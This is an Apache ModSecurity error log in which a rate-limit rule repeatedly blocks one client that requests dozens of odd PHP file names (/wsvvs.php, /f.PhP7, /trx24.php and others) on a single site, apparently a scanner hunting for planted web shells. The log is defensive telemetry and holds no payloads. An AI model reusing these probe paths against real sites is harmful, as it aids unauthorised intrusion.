[Sun Mar 01 17:18:47.328871 2026] [:error] [pid 38241:tid 38263] [client 20.151.2.242:62823] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaQEd_KRPk6YnJBxw_yPwgAAANM"]
[Sun Mar 01 17:18:47.798555 2026] [:error] [pid 7165:tid 7180] [client 20.151.2.242:62782] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaQEdxRjCrA8qWBjgG90XgAAAk0"]
[Sun Mar 01 17:18:48.218848 2026] [:error] [pid 40750:tid 40768] [client 20.151.2.242:63205] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/agg.php"] [unique_id "aaQEeAfBuk03yQKDyqseuAAAAc8"]
[Sun Mar 01 17:18:48.642844 2026] [:error] [pid 7165:tid 7174] [client 20.151.2.242:63226] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "aaQEeBRjCrA8qWBjgG90YQAAAkc"]
[Sun Mar 01 17:18:49.068002 2026] [:error] [pid 41342:tid 41351] [client 20.151.2.242:62536] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "aaQEeY4iJ6RAS5CatDlRIAAAAgY"]
[Sun Mar 01 17:18:49.493886 2026] [:error] [pid 38241:tid 38267] [client 20.151.2.242:62763] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "aaQEefKRPk6YnJBxw_yPzgAAANc"]
[Sun Mar 01 17:18:49.920739 2026] [:error] [pid 38241:tid 38263] [client 20.151.2.242:63195] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsvvs.php"] [unique_id "aaQEefKRPk6YnJBxw_yP0QAAANM"]
[Sun Mar 01 17:18:50.341356 2026] [:error] [pid 7165:tid 7175] [client 20.151.2.242:62562] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/C1.php"] [unique_id "aaQEehRjCrA8qWBjgG90agAAAkg"]
[Sun Mar 01 17:18:50.773676 2026] [:error] [pid 38241:tid 38252] [client 20.151.2.242:63152] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/C1.php"] [unique_id "aaQEevKRPk6YnJBxw_yP2AAAAMg"]
[Sun Mar 01 17:18:51.197728 2026] [:error] [pid 7133:tid 7143] [client 20.151.2.242:63211] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/C1.php"] [unique_id "aaQEe_Ctubh8pR64qB_nVwAAAEg"]
[Sun Mar 01 17:18:51.676977 2026] [:error] [pid 44644:tid 44669] [client 20.151.2.242:62737] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/C1.php"] [unique_id "aaQEe53RJaXMcw3y9V_DJQAAABY"]
[Sun Mar 01 17:18:52.108036 2026] [:error] [pid 44644:tid 44667] [client 20.151.2.242:62470] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaQEfJ3RJaXMcw3y9V_DKAAAABQ"]
[Sun Mar 01 17:18:52.528614 2026] [:error] [pid 7165:tid 7181] [client 20.151.2.242:62834] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaQEfBRjCrA8qWBjgG90cAAAAk4"]
[Sun Mar 01 17:18:52.953330 2026] [:error] [pid 7133:tid 7138] [client 20.151.2.242:62747] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaQEfPCtubh8pR64qB_naAAAAEM"]
[Sun Mar 01 17:18:53.402840 2026] [:error] [pid 40750:tid 40756] [client 20.151.2.242:62552] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gi.php"] [unique_id "aaQEfQfBuk03yQKDyqse0gAAAcM"]
[Sun Mar 01 17:18:53.876230 2026] [:error] [pid 7133:tid 7140] [client 20.151.2.242:61001] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaQEffCtubh8pR64qB_ndgAAAEU"]
[Sun Mar 01 17:18:54.318308 2026] [:error] [pid 33822:tid 33832] [client 20.151.2.242:62756] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaQEfm6W3ygu1YVssubdwAAAAog"]
[Sun Mar 01 17:18:54.736506 2026] [:error] [pid 7165:tid 7191] [client 20.151.2.242:63135] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaQEfhRjCrA8qWBjgG90dQAAAlg"]
[Sun Mar 01 17:18:55.215918 2026] [:error] [pid 38241:tid 38268] [client 20.151.2.242:62826] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aaQEf_KRPk6YnJBxw_yP5gAAANg"]
[Sun Mar 01 17:18:55.637141 2026] [:error] [pid 38241:tid 38244] [client 20.151.2.242:63220] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tkllu.php"] [unique_id "aaQEf_KRPk6YnJBxw_yP6gAAAMA"]
[Sun Mar 01 17:18:56.095624 2026] [:error] [pid 44644:tid 44650] [client 20.151.2.242:61084] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tkllu.php"] [unique_id "aaQEgJ3RJaXMcw3y9V_DLAAAAAM"]
[Sun Mar 01 17:18:56.611296 2026] [:error] [pid 38241:tid 38248] [client 20.151.2.242:63219] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tkllu.php"] [unique_id "aaQEgPKRPk6YnJBxw_yP7wAAAMQ"]
[Sun Mar 01 17:18:57.027928 2026] [:error] [pid 38241:tid 38260] [client 20.151.2.242:63126] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tkllu.php"] [unique_id "aaQEgfKRPk6YnJBxw_yP9AAAANA"]
[Sun Mar 01 17:18:57.481989 2026] [:error] [pid 40750:tid 40767] [client 20.151.2.242:62780] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "aaQEgQfBuk03yQKDyqse2wAAAc4"]
[Sun Mar 01 17:18:57.953510 2026] [:error] [pid 7133:tid 7141] [client 20.151.2.242:63155] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "aaQEgfCtubh8pR64qB_niAAAAEY"]
[Sun Mar 01 17:18:58.441989 2026] [:error] [pid 38241:tid 38247] [client 20.151.2.242:63131] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "aaQEgvKRPk6YnJBxw_yP_AAAAMM"]
[Sun Mar 01 17:18:58.858749 2026] [:error] [pid 33822:tid 33843] [client 20.151.2.242:62739] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fetch.php"] [unique_id "aaQEgm6W3ygu1YVssubdywAAApM"]
[Sun Mar 01 17:18:59.284592 2026] [:error] [pid 38241:tid 38256] [client 20.151.2.242:63221] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaQEg_KRPk6YnJBxw_yP_wAAAMw"]
[Sun Mar 01 17:18:59.733596 2026] [:error] [pid 40750:tid 40759] [client 20.151.2.242:63154] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaQEgwfBuk03yQKDyqse4AAAAcY"]
[Sun Mar 01 17:19:00.170992 2026] [:error] [pid 7133:tid 7141] [client 20.151.2.242:63112] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaQEhPCtubh8pR64qB_nlwAAAEY"]
[Sun Mar 01 17:19:00.695420 2026] [:error] [pid 7165:tid 7174] [client 20.151.2.242:62569] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inputs.php"] [unique_id "aaQEhBRjCrA8qWBjgG90fQAAAkc"]
[Sun Mar 01 17:19:01.109847 2026] [:error] [pid 44644:tid 44666] [client 20.151.2.242:63134] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaQEhZ3RJaXMcw3y9V_DOAAAABM"]
[Sun Mar 01 17:19:01.541598 2026] [:error] [pid 7165:tid 7185] [client 20.151.2.242:63158] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaQEhRRjCrA8qWBjgG90hAAAAlI"]
[Sun Mar 01 17:19:02.082462 2026] [:error] [pid 38034:tid 38059] [client 20.151.2.242:62464] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaQEhgxtfZjwlJok9K_llQAAARU"]
[Sun Mar 01 17:19:02.545455 2026] [:error] [pid 40750:tid 40763] [client 20.151.2.242:61075] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaQEhgfBuk03yQKDyqse5wAAAco"]
[Sun Mar 01 17:19:03.132007 2026] [:error] [pid 7165:tid 7186] [client 20.151.2.242:62721] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.PhP7"] [unique_id "aaQEhxRjCrA8qWBjgG90jAAAAlM"]
[Sun Mar 01 17:19:03.597613 2026] [:error] [pid 40750:tid 40774] [client 20.151.2.242:63225] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.PhP7"] [unique_id "aaQEhwfBuk03yQKDyqse9gAAAdU"]
[Sun Mar 01 17:19:04.035882 2026] [:error] [pid 40750:tid 40776] [client 20.151.2.242:63123] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.PhP7"] [unique_id "aaQEiAfBuk03yQKDyqse-QAAAdc"]
[Sun Mar 01 17:19:04.493043 2026] [:error] [pid 40750:tid 40768] [client 20.151.2.242:62550] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.PhP7"] [unique_id "aaQEiAfBuk03yQKDyqsfAAAAAc8"]
[Sun Mar 01 17:19:04.964989 2026] [:error] [pid 7165:tid 7173] [client 20.151.2.242:62558] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaQEiBRjCrA8qWBjgG90lgAAAkY"]
[Sun Mar 01 17:19:05.395855 2026] [:error] [pid 40750:tid 40759] [client 20.151.2.242:63202] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaQEiQfBuk03yQKDyqsfDgAAAcY"]
[Sun Mar 01 17:19:05.856006 2026] [:error] [pid 40750:tid 40769] [client 20.151.2.242:62545] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaQEiQfBuk03yQKDyqsfFAAAAdA"]
[Sun Mar 01 17:19:06.293420 2026] [:error] [pid 40750:tid 40771] [client 20.151.2.242:62774] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aaQEigfBuk03yQKDyqsfGwAAAdI"]
[Sun Mar 01 17:19:06.769915 2026] [:error] [pid 40750:tid 40761] [client 20.151.2.242:62541] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aaQEigfBuk03yQKDyqsfHwAAAcg"]
[Sun Mar 01 17:19:07.211626 2026] [:error] [pid 44644:tid 44653] [client 20.151.2.242:62804] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aaQEi53RJaXMcw3y9V_DPwAAAAY"]
[Sun Mar 01 17:19:07.708074 2026] [:error] [pid 33822:tid 33848] [client 20.151.2.242:62816] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aaQEi26W3ygu1YVssubd1AAAApg"]
[Sun Mar 01 17:19:08.250145 2026] [:error] [pid 7165:tid 7169] [client 20.151.2.242:63162] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "aaQEjBRjCrA8qWBjgG90rAAAAkI"]
[Sun Mar 01 17:19:08.790824 2026] [:error] [pid 7165:tid 7176] [client 20.151.2.242:63171] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aaQEjBRjCrA8qWBjgG90sQAAAkk"]
[Sun Mar 01 17:19:09.423780 2026] [:error] [pid 7165:tid 7179] [client 20.151.2.242:63188] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aaQEjRRjCrA8qWBjgG90uwAAAkw"]
[Sun Mar 01 17:19:10.076292 2026] [:error] [pid 40750:tid 40770] [client 20.151.2.242:62559] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aaQEjgfBuk03yQKDyqsfMAAAAdE"]
[Sun Mar 01 17:19:10.744981 2026] [:error] [pid 38241:tid 38259] [client 20.151.2.242:63163] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp.php"] [unique_id "aaQEjvKRPk6YnJBxw_yQFgAAAM8"]
[Sun Mar 01 17:19:11.420026 2026] [:error] [pid 7165:tid 7189] [client 20.151.2.242:62792] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "aaQEjxRjCrA8qWBjgG90wAAAAlY"]
[Sun Mar 01 17:19:12.130467 2026] [:error] [pid 40750:tid 40764] [client 20.151.2.242:62818] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "aaQEkAfBuk03yQKDyqsfOwAAAcs"]
[Sun Mar 01 17:19:12.621861 2026] [:error] [pid 7133:tid 7148] [client 20.151.2.242:63133] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "aaQEkPCtubh8pR64qB_nqQAAAE0"]
[Sun Mar 01 17:19:13.114630 2026] [:error] [pid 38241:tid 38263] [client 20.151.2.242:62843] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/trx24.php"] [unique_id "aaQEkfKRPk6YnJBxw_yQIgAAANM"]
[Sun Mar 01 17:19:13.557157 2026] [:error] [pid 37032:tid 37039] [client 20.151.2.242:63106] [client 20.151.2.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ah25.php"] [unique_id "aaQEkeu0U4o7eSImsVRerAAAAYU"]
